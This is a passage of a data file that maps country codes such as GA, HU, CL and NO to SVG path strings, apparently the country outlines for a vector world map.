-1.12,-1.61 3.86,-1.24 2.45,-1.98 2.63,-0.74 5.81,0.24 9.04,0.28 3.37,0.18 6.58,0.01 9.89,0.57 0.69,1.2 4.87,2.08 5.98,1.12 1.69,1.81 6.14,0.75 6.81,1.78 -0.36,3.24 -6.37,2.32 -7.21,4.71 -1.76,1.25 -3.38,3.65 -1.23,5.28 -3.13,1.3 -1.31,3.64 -4.82,3.61 -1.54,3.44 -6.17,0.78 -8.96,2.58 -1.53,1.81 -3.61,1.22 -4.39,-0.67 1.04,-0.9 -2.14,-1.43 -2.93,-1.86 -0.2,-1.79 2.55,-1.96 0.46,-3.16 2.46,-1.43 -2.21,-3.58 0.79,-3.38 0.67,-1.89 0.25,-4.13 2.15,-5.44 -1.02,-2.01 -5.14,0.52 -5.33,-1.24 -0.81,-0.18 -2.94,0.94 -1.19,-0.8 -1.06,0.5 -0.05,-0.05 -0.72,-0.56 0.34,-0.26 -0.71,-0.18 -0.43,-0.6 l -0.2,-0.07 z",GA:"m 496.4,238.12 c -0.6,-0.74 1.77,0.08 1.29,-2.52 -0.32,-1.18 3.34,0.41 0.71,-0.82 -1.45,-1.4 0.92,-0.16 0.33,-2.07 2.47,0.48 6.01,0.73 4.55,-2.89 1.57,-1.14 6.76,-1.49 5.26,1.87 0.18,0.66 4.28,-0.8 3.14,2.12 -3.42,2.04 1.38,3.08 0.44,5.63 -0.1,0.9 -1.19,4.99 -2.04,2.09 -1.61,3.01 -3.29,-2.85 -4.08,0.77 -2.37,-0.58 -2.23,1.44 -1.11,2.62 0.67,2.35 -1.95,-0.57 -2.11,1.79 -1.37,-1.68 -4.07,-4.42 -3.38,-4.01 -1.66,-0.56 -1.55,-2.01 -1.3,-1.68 -0.96,-0.41 -1.3,-2.68 -0.49,-0.72 1.96,0.14 -1.03,-0.93 -1.2,-2.16 z",HU:"m 516.57,103.77 c 2.11,-0.35 0.34,-2.99 2.43,-2.38 1.54,-1.19 4.7,0.77 6.02,-0.83 1.53,-0.8 3.17,-0.28 4.4,-1.58 1.7,0.3 5.87,0.26 5.56,2.12 -3.03,0.15 -3,4.63 -6.02,4.69 -3.59,-0.54 -7.33,2.83 -10.43,-0.55 -0.9,-0.17 -1.03,-1.52 -1.96,-1.47 z",MW:"m 562.64,274.16 c 0.55,-1.54 1.02,-3.52 1.93,-3.87 -1.59,-2.89 1.41,-4.69 -0.21,-6.99 -2.72,-2.02 1.67,-0.22 2.39,-0.63 1.41,1.41 1.32,4.73 1.73,5.49 -2.65,2.36 -0.17,5.96 2.15,7.65 1.58,2.22 0.74,5.14 -1.29,6.37 1.59,3.5 -2.26,-0.57 -2.26,-2.16 1.69,-2.24 0.19,-4.57 -2.08,-3.73 -0.59,-1.02 -1.84,-1.13 -2.34,-2.12 z",TJ:"m 658.73,125.13 c 1.18,-1.28 4.56,-0.9 4.21,-2.37 -1.87,-0.4 2.45,0.45 1.19,-1.61 1.26,0.02 5.5,-1.48 2.96,0.74 1.05,1.01 2.39,0.38 0.21,1.41 -1.41,-2.67 -5.48,2.23 -1.02,1.02 1.77,0.59 4.14,-0.45 6.02,1.07 1.94,-1.37 4.89,-0.84 4.35,1.59 2.44,-1.12 3.96,2.41 3.17,3.83 -1.95,-0.91 -3.11,0.52 -4.41,-0.44 -2.4,1.75 -6.63,2.78 -5.15,-1.37 -0.71,-0.18 -1.43,-2.98 -3.1,-0.56 -0.59,1.42 -0.71,1.64 -2.7,1.79 0.25,1.79 -2.81,-0.1 -3.84,1.52 -1.76,-1.7 1.84,-3.13 0.32,-5.05 0.18,-1.17 -1.73,-0.61 -2.23,-1.56 z",KH:"m 755.76,198.21 c 0.59,-3.27 5.73,-3.72 7.96,-2.65 1.54,0.74 2.61,1.15 2.58,-0.36 0.93,-0.6 3.89,-0.27 3.75,-0.38 -0.99,1.74 1.79,5.8 -1.09,6.48 -1.92,0.98 -1.78,1.07 -3.53,1.67 0.39,1.22 1.9,2.95 -0.33,1.71 -1.91,0.06 -3.33,2.31 -5.24,1.16 -1.45,0.92 0.24,-2.88 -1.42,-0.89 -1.22,-0.76 -0.38,-2.35 -1.48,-3.16 0.32,-1.4 -1,-2.27 -1.2,-3.58 z",KR:"m 822.96,129.52 c 0.55,0.4 1.63,-2.7 3.79,-1.66 2.05,-1.89 3.71,2.6 4.27,4.45 0.43,2.34 0.11,4.94 -2.71,4.64 0.09,1.13 -2.54,-0.58 -2.41,1.11 -0.67,-0.96 -0.84,1.65 -1.11,-0.18 -1.09,1.41 -2.53,1.09 -2.41,0.33 1.32,-0.25 -1.3,-1.14 0.86,-2.65 -1.8,0.25 1.81,-1.21 -0.11,-0.92 1.21,-0.17 -0.79,-1.02 -0.24,-1.92 -1.84,-0.48 0.09,-1.84 0.89,-0.5 0.43,-0.92 -0.31,-1.19 -0.81,-2.7 z",HN:"m 224.11,195.03 c 0.55,-2.12 3.29,-4.64 5.8,-3.75 3.09,0.04 4.62,-1.16 7.72,-0.16 2.35,0.74 1.48,0.96 1.03,1.19 0.14,0.13 1.39,0.51 1.63,0.41 -0.9,-0.61 2.59,1.32 -0.25,1 -2.54,0.7 -3.88,0.03 -5.35,2.23 -1.06,0.91 -3.73,0.28 -3.8,2.4 -0.9,1.88 -2.04,-1.1 -2.35,-0.67 0.17,-2.12 -3.09,-0.68 -4.43,-2.65 z",IS:"m 405.62,51.63 c 2.16,-0.72 4.6,-0.3 4.87,-0.3 3.05,-0.07 -3.66,1.31 0.45,1.08 0.6,0.6 -3.4,0.12 -4.54,0.62 -3.06,0.86 4.9,-0.38 3.77,1.05 1.24,0.15 2.59,-0.84 0.71,0.43 -0.23,0.35 0.11,0.02 1.38,0.02 -1.11,0.56 -1.87,0.98 -3.46,1.16 1.65,0.86 5.37,-0.27 6,0.57 0.56,0.2 5.43,1.94 7.36,0.32 1.74,-0.34 5.05,-1.16 7.59,-1.9 2.1,-0.2 2.25,-1.4 3.58,-1.59 -0.35,-0.14 1.01,-0.17 -0.66,-0.4 1.02,0.32 2.79,-0.46 0.57,-0.46 2.34,-0.37 -1.51,0.03 0.73,-0.68 -0.59,-1.36 -3.35,0.61 -1.9,-1.01 -2.62,0.82 0.43,-1.03 -2.22,-1.01 2.25,-1.38 0.06,-0.05 -1.29,-0.27 -1.94,-2.31 -2.55,1.21 -4.65,0.17 -0.86,1.48 -4.09,-1.44 -2.19,1.52 -1.07,-2.17 -3.68,-1.57 -4.19,-0.29 -2.21,-2.41 -1.78,0.14 -2.68,0.63 -1.63,-0.67 -1.58,1.8 -2.3,0.13 -1.44,-1.35 -0.37,0.03 -0.02,-1.27 0.3,-1.04 -7.13,-1.94 -3.28,-0.97 0.94,-0.19 -2.39,0.24 0.11,0.57 0.64,1.46 -3.73,-1.44 -2.37,0.21 -2.91,-0.64 1.75,0.89 -1.02,0.28 0.62,0.58 0.96,0.31 1.21,0.62 -1.59,-0.14 -2.67,-0.42 -1.44,0.41 -1.53,-0.52 -2.19,0.25 -0.11,0.35 z",NI:"m 228.97,198.89 c 2.22,1.54 1.82,-2.21 3.14,-1.96 1.8,-0.48 3.25,-0.98 4.5,-2.96 1.86,1.45 5.3,-2.12 4.28,0.65 -0.25,1.86 -0.79,4.26 -0.92,6.21 -0.06,-2.95 -0.25,1.59 -0.43,1.07 -0.08,1.24 0.94,4.96 -1.84,2.87 -3.7,0.58 -5.7,-2.53 -8.45,-4.88 -0.24,-0.2 -0.57,-0.68 -0.29,-1 z",CL:"m 276.37,385.59 c -0.05,-1.26 1.39,-0.84 0.65,-1.59 1.59,0.13 5.04,-1.84 4.57,1.54 0.28,3.88 0.23,5.47 -3.52,4.19 -0.61,-0.05 -2.89,0.29 -1.99,-0.31 -1.32,-0.12 -2.45,0.16 -3.87,-0.54 0.81,0.32 2.1,-0.39 3.66,-0.26 -1.03,0.77 3.05,0.44 0.34,-0.18 -2.36,-1.03 2.7,0.75 2.19,0 1.41,0.25 1.64,1.19 1.82,0.15 -1.76,-0.03 -4.75,-1.9 -1.19,-2.27 1.7,-1.56 -2.52,0.22 -2.66,-0.71 z m 0.26,-98.36 c 2.02,0.25 1.75,-4.14 3.23,-1.04 0.67,2.13 2.81,4.91 1.41,6.76 2.08,1.77 0.96,7.45 4.58,7.14 1.13,3.77 -4.88,3.71 -4.01,6.44 -0.2,1.91 0.59,4.02 -0.02,5.39 -2.29,1.49 -4.86,5.58 -3.56,8.57 -1.57,0.99 -2.42,4.09 -1.59,5.24 0.87,2.47 1.44,3.61 1.51,6.1 -2.23,1.13 -1.01,4.3 -2.21,5.7 -2.53,1.3 -1.36,4.75 -0.67,6.83 -2.18,1.13 -2.17,3.47 -2.36,4.99 -1.25,1.89 0.52,4.42 -1.11,5.57 0.01,2.29 1.19,2.52 1.22,4.43 -1.71,1.55 3.78,1.37 0.43,2.25 -3.22,-0.51 2.82,1.52 -0.57,2.37 0.34,1.34 -0.01,1.58 0.07,3.02 -0.61,1.46 -2.67,2.58 -1.64,4.61 -0.92,1.62 -4.95,3.2 -2.6,5.74 -0.14,2.05 3.62,-0.36 2.65,2.43 -0.47,3.82 6.22,1.32 8.79,2.7 3.36,0.62 -1.14,-0.41 -2.06,0.91 -2.43,0.02 -3.41,1.26 -3.24,3.58 -1.39,1.23 -5.33,-1.82 -3.06,-1.16 -0.68,0.34 1.72,-0.97 0.55,0.44 1.42,-0.91 3.15,-3.11 0.31,-1.56 -2.07,0.42 -1.23,0.09 -2.01,0.85 1.44,1.92 -4.32,-0.94 -0.61,-0.22 -2.27,-2.3 6.73,-1.24 1.42,-1.92 -1.04,0.64 -0.6,-0.68 -1.92,0.43 1.36,-0.03 -1.56,1.89 -1.2,0.55 0.06,-0.49 1.71,-1.5 0.13,-0.76 -1.35,1.4 -0.79,-1.71 -0.7,-1.26 2.17,0.51 1.54,-0.41 2.66,-0.09 -0.44,3.05 1.46,-2.61 -1.65,-1.74 2.46,0.16 1.67,1.45 -0.24,0.34 1.61,1.45 -0.76,0.42 -0.01,0.85 -0.55,0.96 -1.01,-0.22 -0.6,-0.65 -2.03,-0.12 -0.19,-0.88 -0.41,-0.81 0.36,-0.88 -2.69,-0.9 -0.39,-1.76 0.93,-0.49 0.61,-1.34 -0.61,0.07 -1.22,-1.17 1.08,-0.85 -0.96,-1.29 -2.23,-1.65 3.6,0.7 0.23,-0.81 0.76,-0.65 1.68,0.2 0.18,-0.78 0.06,-0.26 0.08,-1.16 1.53,-0.22 -2.34,-0.58 0.83,-3.46 -1.59,-0.6 -1.78,-1.82 1.42,-2.25 -0.36,-2.59 3.47,0.33 -2.49,-2.26 0.43,-1.15 -0.1,-1.19 4.23,1.11 1.71,-0.74 2.06,1.56 -0.88,-2.02 -0.68,-0.25 -2.66,0.18 -2.16,-0.88 -1.02,-0.42 1.18,0.03 -2.05,-1.18 0.26,-1.08 0.88,-0.99 -0.62,0.01 0.16,-0.9 -1.58,-1.09 -1.28,0.64 -2.57,-0.96 0.74,-0.86 -2.96,0.44 -1.14,0.62 -1.94,0.01 1.62,-1.89 1.86,-2.17 -1.22,0 -0.43,-0.85 0.83,-0.49 1.36,-0.61 1.81,1.23 -0.1,0.86 2.31,-0.08 1.35,0.39 1.99,0.86 0.77,-0.64 1.44,-1.95 0.22,-0.6 0.29,-1.86 1.88,-1.77 0.37,-1.87 0.92,-1.46 3.32,-0.04 0.33,-1.04 0.62,-1.23 4.04,-2.35 0.68,-2.97 0.43,-1.15 0.86,-1.04 0.37,-2.49 1.07,-1.47 0.63,-2.47 1.12,-3.09 1.33,1.3 0.21,-1.02 -0.45,-1.02 2.67,-1.44 0.6,-0.53 -0.81,-0.73 -2.55,2.03 -3.01,-3.42 -0.91,-4.9 1.79,-2.07 -1.93,-6.4 0.04,-7.44 1.43,-1.34 1.51,-3.41 3.03,-5.53 1.21,-3.42 2.91,-6.61 2.07,-10.33 -1.29,-2.93 2.03,-4.84 0.3,-7.64 2.01,-2.99 1.42,-7.08 2.93,-10.02 0.06,-3.01 -0.89,-5.37 0.45,-7.38 0.71,-3.26 0.45,-6.62 -0.05,-9.87 -0.4,-0.74 0.29,-1.76 -0.36,-2.34 z m -6.78,74.23 c 0.56,-1.88 -2.75,-0.01 -1.07,0.52 l 0.56,-0.17 z m -1.96,-8.14 c -1.8,-0.98 -3.3,4.48 -0.93,4.4 1.56,-1.42 -0.04,-2.28 1.05,-3.75 z m -3.57,22.95 c 1.89,-0.19 0.91,-1.17 0.82,-3.19 -1.3,-1.25 -0.81,0.99 -1.43,1.06 -0.68,0.31 -1.56,0.59 0.28,1.59 0.73,-3 0.68,0.64 0.33,0.55 z m 0.61,-3.67 c 0.49,-1.39 -0.84,-1.39 -0.53,-0.75 -1.24,0.1 -0.13,0.98 0.53,0.75 z m -1.6,0.03 c 0.75,-2.37 -2.08,-1.32 -0.39,-0.87 0.23,0.25 -0.02,0.69 0.39,0.87 z m 0.53,7.83 c 1.72,0.13 0.88,-1.72 0,0 z m 2.21,-1.79 c 0.43,-1.09 -2.4,-1.19 0,0 z m -1.46,0.76 c 3.02,-1.15 -1.99,-0.87 0,0 z m -1.63,-0.91 c 1.5,-1.81 -1.25,-0.65 0,0 z m 0.8,-1.39 c 0.78,-1.24 -0.56,-0.17 -0.87,-0.44 -0.26,0.69 0.43,0.93 0.87,0.44 z m 4.34,8.49 c 1.83,0.02 -3.39,-1.61 -3.22,-1.3 0.98,0.8 2.22,0.74 3.22,1.3 z m 9.71,5.08 c 1.02,0.7 2.43,1.2 1.75,0.05 1.18,0.28 3.17,1.85 3.46,0.99 -1.07,-0.7 -2.24,-0.5 -0.26,-0.61 -1.89,-0.56 -2.83,-0.44 -0.48,-0.73 -1.32,-0.58 -3.38,0.33 -4.47,0.31 z m -1.47,0.22 c 1.86,-0.63 -1.32,-0.36 0.45,-0.87 -1.44,0.44 -2.68,-0.18 -0.45,0.87 z m -0.07,-2.73 c 0.23,-1.03 0.35,-2.08 -1.05,-1 0.04,0.55 0.53,0.94 1.05,1 z m -2.1,-0.61 c -3.24,-0.16 2.74,1.87 0,0 z m -1.09,-0.2 c -2.37,-0.68 -0.37,1.88 -0.39,0.54 0.69,0.25 0.1,-0.34 0.39,-0.54 z m -3.2,0.54 c 3.23,-0.71 0.16,-1.7 -1.01,-2 -1.43,0.42 1.49,0.88 -0.77,0.48 -1.27,1.1 3.85,0.62 1.21,1.4 z m 16.09,2.7 c -1.18,-1.36 -5.24,-0.27 -2.03,0.39 0.09,-0.66 1.54,0.87 2.03,-0.39 z",MA:"m 435.34,157.82 c 3.51,-1.58 8.67,-3.15 9.9,-7.6 -1.92,-2.47 1.17,-6.42 3.2,-8.19 3.79,-0.7 6.09,-3.66 7.2,-7.08 2.19,-0.65 3.38,3 6.18,1.58 2.19,-0.14 3.29,-0.27 5.09,1.74 -0.08,1.96 1.14,5.01 1.62,6.42 -0.43,1.66 -4.65,-0.6 -6,1.76 -2.79,-0.04 0.86,2.65 -2.45,2.75 -2.89,1.88 -5.76,2.93 -8.95,3.73 -2.19,0.78 -3.99,2.27 -3.3,4.82 -4.14,0.35 -8.33,0.06 -12.49,0.08 z",LR:"m 440.03,216.14 c 1.83,-1.24 2.39,-4.03 4.44,-4.43 2.22,0.14 0.61,5.84 3.27,2.46 2.46,0.33 -1.11,4.3 2.27,3.96 2.12,1.34 1.66,7.23 -1.53,4.32 -3.12,-1.85 -5.71,-4.25 -8.45,-6.31 z",NL:"m 482.62,90.46 c 1.95,0.97 -0.52,-0.48 2.14,-0.3 1.14,-0.06 -3.78,-0.2 -0.57,-1.79 0.55,-2.7 8.79,-4.99 7.11,-0.85 -1.71,0.01 0.69,1.12 -0.61,1.98 -2.17,0.18 -2.33,0.02 -1.76,1.94 0.3,1.35 -2.06,2.03 -0.81,0.3 -2.1,-1.48 -4.93,-0.13 -6.42,-1.21 l 0.29,-0.07 z",CF:"m 511.86,218.62 c 1.77,-2.21 2.85,-4.56 5.73,-5.01 1.22,1.22 4.09,-0.82 6.16,-0.93 1.69,-1.38 -0.16,-2.94 3.02,-2.46 3.37,-0.04 4.4,-3.88 6.79,-5.2 3.27,-1.11 4.41,4.22 3.67,5.65 0.28,0.52 2.21,0.5 2.35,1.77 2.68,0.6 2.73,3.31 5.43,4.47 -0.45,1.76 3.81,3.45 2.66,4.3 -2.17,0.78 -4.86,-1.52 -6.36,0.42 -2.09,-0.85 -4.18,1.49 -6.17,0.83 -1.28,2.77 -6.09,0.99 -7.68,-0.78 -2.93,-1.92 -4.44,3.1 -4.31,3.91 -2.96,-0.58 -6.01,-0.26 -6.14,3.39 -0.3,0.07 -0.9,-2.78 -2.47,-3.26 -1.22,-2.01 -2.17,-4.62 -2.58,-6.92 z",SK:"m 518.91,98.85 c 2.51,-0.63 5.04,-3.35 7.51,-2.21 2.17,0.85 5.54,-0.96 7.91,1.06 -1.09,3.67 -5.16,-0.25 -7.14,2.45 -2.96,-0.08 -5.13,2.79 -8.14,-0.1 -0.1,-0.39 0.02,-0.81 -0.14,-1.2 z",LT:"m 530.27,77.87 c 3.05,-1.8 6.58,-0.36 9.84,-0.7 1.85,-0.36 7.4,2.36 5.18,3.35 -2.43,0.07 -1.76,2.97 -2.5,2.64 -2.47,0.5 -5.42,1.45 -7.68,-0.54 0.63,-3.74 -5.3,-0.28 -4.84,-4.74 z",ZW:"m 541.96,285.73 c 2.74,0.77 5.77,1.04 7.14,-2.41 3.04,-0.69 3.3,-4.86 7.14,-3.72 1.14,1.68 5.13,2 7.14,3.02 -0.44,2.08 0.95,4.75 -0.74,6.34 1.42,1.95 -0.04,3.83 -0.8,6.08 -0.79,2.91 -4.6,4.41 -7.82,3.01 -1.93,-1.33 -5.66,-1.22 -5.41,-4.73 -2.57,-1.13 -5.49,-4.18 -6.64,-7.58 z",LK:"m 693.19,214.25 c -1.23,4.36 3.86,6.27 5.71,2.37 0.06,-3.36 -1.74,-4.91 -3.65,-7.84 -2.19,-1.63 0.81,0.69 -1.39,-0.75 -0.85,0.54 3.19,1.28 0.23,0.77 -0.38,1.5 -0.88,4.98 -1.19,3.97 -0.03,0.52 0.24,0.98 0.29,1.48 z",IL:"m 566.95,147.85 c 1.69,-1.7 1.42,-5.7 3.8,-5.71 1.34,3.02 -2.94,1.31 -1.6,3.99 0.15,0.56 -1.06,2.06 1.16,0.9 -0.44,1.53 -1.37,8.03 -2.13,3.85 -0.53,-0.96 -0.8,-2.03 -1.22,-3.03 z",LA:"m 749.45,178.39 c 1.02,-1.22 1.78,-2.83 3.12,-3.15 1.11,2.39 2.6,-0.56 1.04,-2.12 1.25,-2.09 3.1,1.91 3.89,1.63 -0.97,2.9 2.55,2.37 3.97,2.31 0.59,1.1 0.04,1.11 1.49,2.11 -0.53,1.53 -4.67,1.18 -1.64,2.82 2.73,0.82 3.04,3.56 5.51,5.17 0.43,2.43 3.48,2.66 2.68,4.57 2.36,1.37 -0.81,4.58 -2.32,2.97 -1.92,0.35 -0.3,2.73 -2.87,1.18 -0.88,-0.47 0.94,-2.86 0.23,-3.61 0.57,-1.96 -3.33,-2.69 -2.12,-5.69 -1.55,-2.5 -3.98,-3.46 -5.69,-1.23 -1.67,-3 -5.88,3.86 -4.29,-0.92 0.59,-2.17 0.5,-4.24 -2.02,-4.08 0.79,-1.19 -0.1,-2.42 -0.98,-1.97 z",KP:"m 816.84,122.85 c 2.59,-1.48 5.26,-2.72 7.31,-4.69 0.86,1.47 5.12,1.43 3.03,-0.63 2.63,0.4 4.45,-1.79 5.8,-2.67 2.59,2.04 0.14,1.73 -1.31,3.76 0.92,3.33 -4.08,3.75 -6.09,5.33 -1.11,1.84 1.86,1.45 2.29,3.44 -1.5,1.01 -3.8,-0.13 -4.84,1.89 -1.84,0.14 -2.7,-0.88 -3.21,0.14 0.39,-0.52 -1.55,-0.36 -0.73,-0.93 -2.55,0.34 0.91,-2.31 1.1,-1.75 -2.6,0.02 1.52,-3.15 -1.87,-2.73 0.01,0.5 -1.79,-0.5 -1.45,-1.17 z",GR:"m 545.17,126.04 c -1.44,-0.12 -1.9,-1.54 0.25,-0.61 0.92,0.89 -0.13,0.09 -0.25,0.61 z m -6.34,10.56 c -3.34,-0.05 -0.37,-2.12 0.68,-0.43 1.73,-0.29 5.08,0.32 4.88,0.94 -2.12,0.27 -3.69,0.25 -5.56,-0.51 z m -1.48,-9.18 c -0.69,-1.04 -2.82,-1.58 -0.46,-1.36 1.55,0.16 4.59,4.29 1.65,1.57 -0.35,-0.18 -0.9,0.16 -1.19,-0.22 z m -8.51,0.26 c 2.24,1.03 -1.41,1.08 0,0 z m -1.41,-3.66 c 2.05,-0.05 2.05,-4.11 4.6,-3.45 2.38,-1.45 5.12,-0.88 7.76,-1.89 1.35,1.16 4.93,1.21 4.87,-0.43 2.5,0.73 -0.92,4.05 -2.73,2.24 -1.49,-0.14 -5.95,0.56 -2.92,1.66 1.81,1.58 -3.07,-1.43 -0.56,0.99 -0.98,-0.49 -2.57,-1.08 -0.83,0.16 -1.52,-0.38 -3.14,-3.48 -2.86,-0.2 1.16,1.09 2.41,3.54 0.78,1.83 -0.6,0.79 1.08,1.42 -0.98,1.31 1.52,0.94 4.64,0.97 4.02,3.5 -1.81,-1.95 -3.74,-0.36 -1.59,0.63 -1.18,0.51 -2.83,-1.15 -1.28,1.18 1.3,3.13 -1.11,-0.93 -1.39,1.49 -0.75,-1.26 -1.3,-1.77 -2.09,-1.03 0.25,-1.99 -3.16,-3.34 0.09,-4.11 1.16,0.66 5.81,1.14 2.4,-0.11 -1.57,-0.44 -4.82,0.91 -5.22,-1.74 2.97,0.28 -1.98,-0.52 -2.05,-2.04 z",TM:"m 617.39,118.21 c 2.91,-3.16 6.68,-0.85 9.06,1.25 2,-0.16 4.6,1 3.87,-1.84 1.02,-1.07 4.14,-1.36 3.4,-1.45 -0.27,-1.6 4.14,0.52 4.74,1.36 -0.37,2.12 2.58,2.39 4.69,2.11 1.64,3.69 4.97,5.76 8.74,7.21 1.42,1.64 6.38,0.8 4.33,3.74 -2.75,-1.31 -4.57,1.15 -5.97,3.21 -3.12,0.45 -2.77,2.05 -5.58,2.97 -1.73,-1.19 -3.96,-1.24 -3.1,-4.16 -3.28,0.38 -4.88,-3.4 -8.24,-3.13 -2.82,-1.64 -5.28,-1.49 -8.31,-0.63 -1.37,1.94 -4.87,2.62 -3.74,-0.96 1.59,-2.44 -3.48,-3.29 -1.37,-3.57 1.62,-0.1 -0.89,-1.71 -1.74,-1.3 0.12,-1.81 1.08,-3.34 -0.79,-4.81 z",EC:"m 247.34,241.79 c 0.56,-1.35 0.41,-4.3 1.59,-4.54 -0.23,-1.3 1.79,-2.25 0.9,-3.85 2.19,-0.37 3.44,-2.62 5.64,-0.29 1.79,0.8 3.64,2.47 5.35,1.47 1.38,1.31 2.48,1.02 1.69,1.84 2.06,2.8 -2.75,6.82 -6.09,7.42 -2.67,0.7 -1.82,6.03 -4.71,5.36 -0.68,-1.98 -4.7,-0.73 -2.12,-2.81 -0.74,-1.59 1.65,-2.89 1.07,-5.11 -0.88,2.01 -0.14,0.99 -1.14,1.43 -0.11,1.34 -1.7,-0.51 -2.16,-0.92 z m 2.63,1.34 c -1.83,1.11 0.51,0.96 0,0 z m -32.07,-7.51 c 2.44,0.88 -1.18,3.78 2,2.57 0.3,-0.63 -1.01,-3.21 -2,-2.57 z",BJ:"m 474.11,205.49 c 0.64,-2.71 4.8,-1.26 4.62,-4.35 2.63,-0.84 4.19,3.7 3.22,5.34 -0.27,2.61 -3.28,3.79 -2.53,6.89 0.52,2.5 0.56,5.54 -3,4.76 -0.07,-2.01 0.47,-6.02 -0.42,-8.64 0.25,-2.12 -1.84,-2.22 -1.88,-4 z",SI:"m 509.32,106.07 c 0.74,-0.2 -0.9,-1.4 0.83,-1.36 2.87,1.35 6.07,-2.33 7.79,0.18 -2.08,-0.27 -3.04,2.13 -3.97,2.88 -1.55,-1.27 -4.75,1.19 -3.91,-0.87 -0.71,-0.11 -0.23,-0.5 -0.75,-0.83 z",NO:"m 485.82,62.84 c 1.26,-0.31 3.08,-0.04 0.79,-0.26 1.08,-0.49 -1.94,-0.11 0.31,-0.42 -2.73,-0.44 1.77,-0.61 2.54,-0.58 2.96,-0.13 -3.4,0.05 -2.8,-0.32 0.18,-0.21 -1.19,-1.24 0.51,-0.14 -0.08,-1.13 3.05,0.62 1.67,-0.79 1.3,0.53 1.37,-1.1 2.56,0.3 -0.34,0.37 1.88,-0.53 -0.51,-0.78 -2.77,-0.03 0.17,-0 -0.91,-0.23 -1.15,-0.92 4.72,0.65 2.98,-0.4 2.37,-0.32 1.02,-0.03 -0.53,-0.15 2.37,-0.31 -2.71,0.23 -0.41,-0.24 -1.95,-1.52 6.06,1.08 2.37,-0.39 -0.46,-0.81 2.72,0.79 0.78,-0.16 -0.54,-0.18 0.32,-0.58 1.65,-0.55 -2.26,-0.71 3.37,-0.25 0.63,-0.7 2.72,-0.69 1.59,0.96 3.94,0.08 1.32,-0.25 -0.46,-0.58 2.03,-0.94 -0.86,-0.59 0.82,-0.83 -0.41,-0.8 -2.29,0.72 0.68,0.45 -1.89,1.28 -2.18,0.93 -1.04,-0.98 -1.87,-0.36 -2,0.03 2.16,-0.67 0.46,-0.77 1.65,-2.29 5.41,-0.44 4.07,-1.96 1.06,-0.19 0.73,-0.91 2.73,-0.54 -1.33,-0.24 -4.9,0.82 -2.23,0 -1.27,-0.01 0.67,-0.28 0.88,-0.6 1.91,-0.35 -0.95,0.49 1.42,0.09 2.26,-0.94 -0.76,0.24 -0.5,-0.61 -1.44,-0.76 2.85,0 0.29,-1.01 0.56,0.15 1.66,-1.02 1.99,-0.79 -3.53,-0.71 5.72,-0.93 1.35,-0.94 -2.63,0.49 0.03,-0.21 -0.97,-0.15 -2.11,-0.8 3.27,-0.55 -0.19,-0.97 1.21,-0.03 -0.25,-0.25 1.69,-0.19 -1.98,-0.16 1.79,-0.11 -0.69,-0.54 1.29,-0.53 3.4,-0 2.48,-0.74 1.64,-0.23 4.96,0.02 1.35,-0.35 -2.63,0.16 0.76,-0.49 -0.08,-0.73 0.18,0.17 3.04,0.75 2.27,-0.03 -3.82,0.08 2.74,-0.95 -1.72,-0.34 -2.44,0.43 1.74,-0.48 -0.75,-0.43 0.35,-0.01 5.19,-0.57 1.31,-0.54 0.83,-0.93 3.01,0.03 2.66,0.31 -0.19,-0.22 2.1,-0.43 0.06,-0.61 0.73,-0.28 -1.14,-0.71 1.36,-0.05 -2.96,-1.35 2.82,0.09 2.15,-0.69 2.17,-0.11 -5.74,0.1 -1.42,-0.83 2.36,0.29 -0.05,-0.37 1.87,-0.17 -1.1,-0.4 1.91,-2.29 2.33,-1.5 2.88,0.47 -2.03,-0.96 1.02,-0.36 2.6,0.67 0.2,0.31 0.52,-0.27 -0.36,0.29 -0.21,-1.03 1.65,-0.76 -0.92,2.87 1.93,-2.06 1.63,0.51 -2.83,1.89 2.37,-0.36 0.96,0.08 0.67,-1.45 1.02,-0.35 2.54,-0.88 2.11,1.14 1.05,-0.53 0.67,-0.46 -4.2,-0.81 2.66,-0.25 1.5,-0.5 1.56,-0.3 1.82,0.72 0.1,0.55 1.62,-0.21 3.8,0.73 2.37,-0.46 0.51,-0.18 3.93,-1.1 3.42,-1.5 -0.84,-0.62 4.06,-0.76 3.55,-0.03 -2,-0.06 -2.62,3.07 -0.8,1.13 1.27,-1.29 4.18,-1.93 3.05,-0.85 0.08,1.6 1.9,-0.07 2.23,-0.36 1.63,-0.17 -1.82,-0.38 0.53,-0.66 1.45,-0.88 4.14,0.8 0.91,0.71 1.69,0.19 -1.86,0.61 0.84,0.26 0.39,0.46 -2.03,0.69 0.52,0.55 -1.21,1.59 2.05,-2.74 2.68,-0.49 2.12,-0.11 2.92,0.19 4.66,0.99 -1.47,1.05 -6.54,0.26 -5.78,0.68 2.79,0.32 1.98,1.46 4.58,0.78 2.52,0.96 -1.66,0.18 -2.23,1.2 -1.23,0.67 -3.88,1.43 -1.48,-0.43 -2.59,-1.43 -7.34,-2.38 -9.52,0.4 -0.81,3.51 -5.16,0.84 -7.65,2.03 -2.68,-0.31 -4.71,-2.68 -6.62,-1.11 -2.13,-0.47 -0.16,0.84 -1.93,1.38 1.27,1.67 -5.73,-1.77 -5.14,1.27 -2.3,-0.22 -6.17,1.15 -4.97,3.04 -1.87,1.2 -3.41,2.53 -4.9,2.95 1.17,2.75 -4.41,3.41 -1.14,4.9 -2.33,0.59 -6.57,0.68 -5.72,4.14 0.71,1.64 -0.32,3.59 2.18,3.87 -0.48,1.36 -2.55,1.05 -0.79,2.71 -0.75,1.79 -3.15,1.78 -2.61,4.23 -1.65,-0.06 -3.3,-1.91 -2.68,-2.73 -0.44,1.06 -1.26,1.03 -0.85,1.82 -2.91,0.76 -2.77,1.61 -6.29,3.04 -1.51,0.83 -4.6,0.12 -4,-0.19 -3.57,-0.14 -3.22,-2.92 -1.57,-1.96 3.17,-0.69 -1.7,0.39 -0.07,-0.73 2.73,-0.65 -2.07,0.06 1.27,-1.03 -1.4,0.45 -2.04,0.14 -1.83,0.63 -1,-0.98 -1.25,1.04 -1.45,-0.77 0.61,0.23 -0.14,0.15 1.61,-0.14 -0.48,-0.38 1.39,-0.2 -0.64,-0.45 1.16,-0.92 2.5,-1.84 2.68,-1.25 2.87,-2 -2.26,0.61 -2.59,0.33 0.21,-0.74 -2.15,0.38 -1.05,-1.04 1.41,0.37 0.99,-0.89 -0.44,-0.22 -1.36,-1.08 2.3,-0.14 -0.5,-0.98 -0.02,-0.36 4.94,-1.06 5.19,0.03 0.68,-0.38 2.26,-0.56 1.62,-1.31 0.43,-0.23 -1.2,1.23 -1.35,0.52 -0.78,-0.42 -6.28,1.02 -4.57,-0.44 1.71,-0.1 -0.99,0.12 -0.92,-0.13 z m 58.18,-26.95 c 